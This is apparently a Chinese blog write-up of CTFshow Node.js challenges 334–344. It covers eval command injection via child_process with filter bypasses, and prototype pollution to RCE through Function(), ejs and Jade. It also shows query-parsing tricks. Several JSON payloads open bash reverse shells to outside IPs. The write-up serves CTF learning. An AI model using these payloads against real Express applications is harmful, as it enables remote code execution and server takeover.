CTFshow——Node.js

前言 :

对Node.js不大懂,好些题知道大致方向却不知道该用什么代码去利用实现,代码功底还是不够,只能学习师傅们的奇技淫巧了。
nodejs 中的漏洞技巧

贴三篇官方文档:

api.nodejsexpress框架js继承与原型链

require()
用于引入模块、 JSON、或本地文件

// 引入本地模块:
const myLocalModule = require('./path/myLocalModule');

// 引入 JSON 文件:
const jsonData = require('./path/filename.json');

// 引入 node_modules 模块或 Node.js 内置模块:
const crypto = require('crypto');

334——

user.js中有登录的账号密码,但login.js中有段代码

var findUser = function(name, password){
  return users.find(function(item){ //匿名函数的调用,向find函数中传递一个匿名函数
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

逻辑是登录的name不能是CTFSHOW但账号明明就是大写的CTFTSHOW。
好在比对name时,调用了toUpperCase() 这个转化成大写的函数,因此我们只要输入小写的ctfshow即可绕过。

ctfshow:123456

羽师傅还有说了一些拓展:

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

335——命令执行

看注释有个:/?eval。可能是命令执行?

在node.js中执行命令可以引用child_process模块:
官方文档中,模块下有好多能执行命令的
在这里插入图片描述
一开始想着用exec来实现的eval=require("child_process").exec("ls");,结果返回
在这里插入图片描述
仔细看看文档中的返回值原来是<ChildProcess>
在这里插入图片描述
在这里插入图片描述

看羽师傅的是这样

?eval=require("child_process").spawnSync("ls").stdout.toString()

而调用execSync和execFileSync就可以直接显示:

?eval=require("child_process").execSync("ls")
?eval=require("child_process").execFileSync("ls")

在这里插入图片描述
此外看Y4师傅不用require引入模块:

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')

336——命令执行

尝试用羽师傅的payload发现可以:

?eval=require("child_process").spawnSync("ls").stdout.toString()

用execSync和execFileSync都不行,过滤了exec字符?
看Y4师傅的方法,用拼接
在这里插入图片描述
所以['ex'+'cSync']等效于.execSync。注意对+进行URL编码,否则会被认为是空格

require("child_process")['ex'%2b'ecSync']("ls ./app.js/")

Y4师傅还有别的绕过方式,学习一波:
__filename读取当前模块文件名
在这里插入图片描述
__dirname可读目录
在这里插入图片描述
还可以用fs(文件系统)模块中的readdirSync读目录、readFileSync读文件

require("fs").readdirSync(".")
require("fs").readFileSync("fl001g.txt")

官方文档是个好东西…
最后看看过滤了什么:exec和load

var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var evalstring = req.query.eval;
  if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
  	res.render('index',{ title: 'tql'});
  }else{
  	res.render('index', { title: eval(evalstring) });
  }
  
});

module.exports = router;

337——特性

在本地搭建服务,将以下代码保存为app.js

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
    res.type('html');
    var flag='xxxxxxx';
    var a = req.query.a;
    var b = req.query.b;
    console.log(a)
    console.log(b)
    console.log(a+flag)
    console.log(b+flag)
    if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
        res.end(flag);
    }else{
        res.end("no")
    }

});

let app=express()//创建一个 Express应用.
app.use('/',router)//路由规则是app.use(path,router)定义的,router代表一个由express.Router()创建的对象,在路由对象中可定义多个路由规则
app.listen(6666)//监听端口

执行启动服务的命令:

node app.js
方法一:
又是绕MD5的操作,第一反应是利用数组了
?a[]=1&b[]=1

可见a和b的值都是['1'],a+flag的值都是1xxxxxxx,成功绕过。但需要注意键值一定要相等,键名可以不同
在这里插入图片描述

注意对于不同类型的数据是如何处理的:

> console.log([5]+"flag")
5flag

> console.log(['5']+"flag")
5flag

> console.log(5+"flag")
5flag

> console.log("5"+"flag")
5flag

> console.log(['a','b']+"flag")
a,bflag
方法二:

看yu师傅还提到用非数字索引的方法:

?a[x]=1&b[x]=12

在这里插入图片描述
将一个非数字索引的数组值跟字符串拼接后会出现:[object Object]跟字符串拼接的情况
那么这种情况就不需要键值相等了,反正最后都是[object Object]去跟字符串拼接。
所以最后传入md5()中的值都是相等的,所以最后加密的值也会相等!

338——原型链污染

官方文档:继承与原型链
深入理解 JavaScript Prototype 污染攻击

每个实例对象( object )都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象(prototype )
当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾(null
每个构造函数(constructor)都有一个原型对象(prototype)
对象的__proto__属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制

原型链污染

原型链污染简单来说就是如果能够控制并修改一个对象的原型, 就可以影响到所有和这个对象同一个原型的对象.

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

条件是:secert.ctfshow==='36dboy',但utils.copy函数是关键:它会将object1[key] = object2[key]从而实现原型链的污染!

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
{"username":"aa","password":"aa","__proto__":{"ctfshow":"36dboy"}}

在这里插入图片描述

339——原型链污染

预期解:
// routes\login.js
....
utils.copy(user,req.body);
....


// routes\api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
      
});

首先了解,不同对象所生成的原型链如下(部分):

var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

引用feng师傅引用Y4师傅的描述:

因为所有变量的最顶层都是object,当前环境没有y4tacker,它会直接去寻找Object对象的属性当中是否有y4tacker这个键值对是否存在
在这里插入图片描述

那么这里就是通过原型链污染query的值,通过给__proto__赋值污染到query,因为这些变量的最上层直接继承了Object.prototype,所以会实现污染的效果。

我们往query中构造payload即会在res.render('api', { query: Function(query)(query)});这段模板渲染的代码中实现RCE,因为query在函数体内执行了。

payload:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/119.xx.xx.xx/6666 0>&1\"')"}}

值得注意这段payload中 ”套娃“ 了一层bash -c即两层bash环境,至于为什么没懂,反正直接bash -i反弹shell不成功

且直接require('child_process')是不行

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

先向/login发包污染query,再到/api下发post请求触发RCE。最后到login.js中查看flag

非预期:

Express+lodash+ejs: 从原型链污染到RCE
XNUCA2019 Hardjs题解 从原型链污染到RCE

因为用到了ejs模板,而该模板有RCE
在这里插入图片描述

但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在污染了原型链之后, 渲染直接变成了执行代码,注入的代码被执行,也就是这里存在一个代码注入的 RCE

payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}

340——原型链污染

其他都差不多,只是需要向上两级才能成功污染

var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);

在这里插入图片描述

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/xx/6666 0>&1\"')"}}}	

341——ejs模版RCE

没有了res.render('api', { query: Function(query)(query)});这样可利用的代码,但因为是ejs模板,用之前的RCE,需要向上两层才能污染:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/119.29.60.71/4567 0>&1\"');var __tmp2"}}}

然后随便浏览页面就能反弹shell

342、343——Jade模板原型链污染

关于nodejs的ejs和jade模板引擎的原型链污染挖掘
几个node模板引擎的原型链污染分析
考察Jade模版的原型链污染

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/6666 0>&1\"');//"}}}

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx/6666 0>&1\"')"}}}

往/login页面发一个json格式的POST请求,最后再随便浏览页面即可触发。
这里一定要发json格式的:
在这里插入图片描述

bodyParser.json(options)
中间件只会解析 json 

344——特性

修改一下源码,需要本地测试一下:

var express = require('express');
var router = express.Router();

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    console.log(req.url);
    var query = JSON.parse(req.query.query);
    console.log(query);    
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('regexp');
    }

    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
        res.end(flag);
    }else{
        res.end('where is flag. :)');
    }
  
  });

let app=express()//创建一个 Express应用.
app.use('/',router)//路由规则是app.use(path,router)定义的,router代表一个由express.Router()创建的对象,在路由对象中可定义多个路由规则
app.listen(6666)
req.query
这是一个解析过的请求参数对象,默认为{}
举例:
// GET /search?q=tobi+ferret
req.query.q
// => "tobi ferret"


使用 JSON.parse() 方法将数据转换为 JavaScript 对象

首先按理来说应该传入以下字符串:

?query={"name":"admin","password":"ctfshow","isVIP":true}

但本地测试发现req.url是会经过URL编码的,就变成了以下:

?query={%22name%22:%22admin%22,%22password%22:%22ctfshow%22,%22isVIP%22:%22true%22}

但过滤了逗号啊,所以接着想到URL编码,逗号的URL编码是%2C,也被过滤了,卡这儿了…

这里看师傅们操作是利用JSON.parse()的解析特性:

如果我们分开多个query传值,req.query.query会将所有参数query的值都放在一个数组中,如图中①,接着JSON.parse()解析时会将数组中的元素都拼接起来再解析,这就绕过了逗号的使用,如图中②
在这里插入图片描述
所以我们这么传值:

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

会发现还是不成功,因为双引号的编码跟c凑在一起就是2c,是被ban的字符
在这里插入图片描述
再将C进行URL编码成%63即可:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值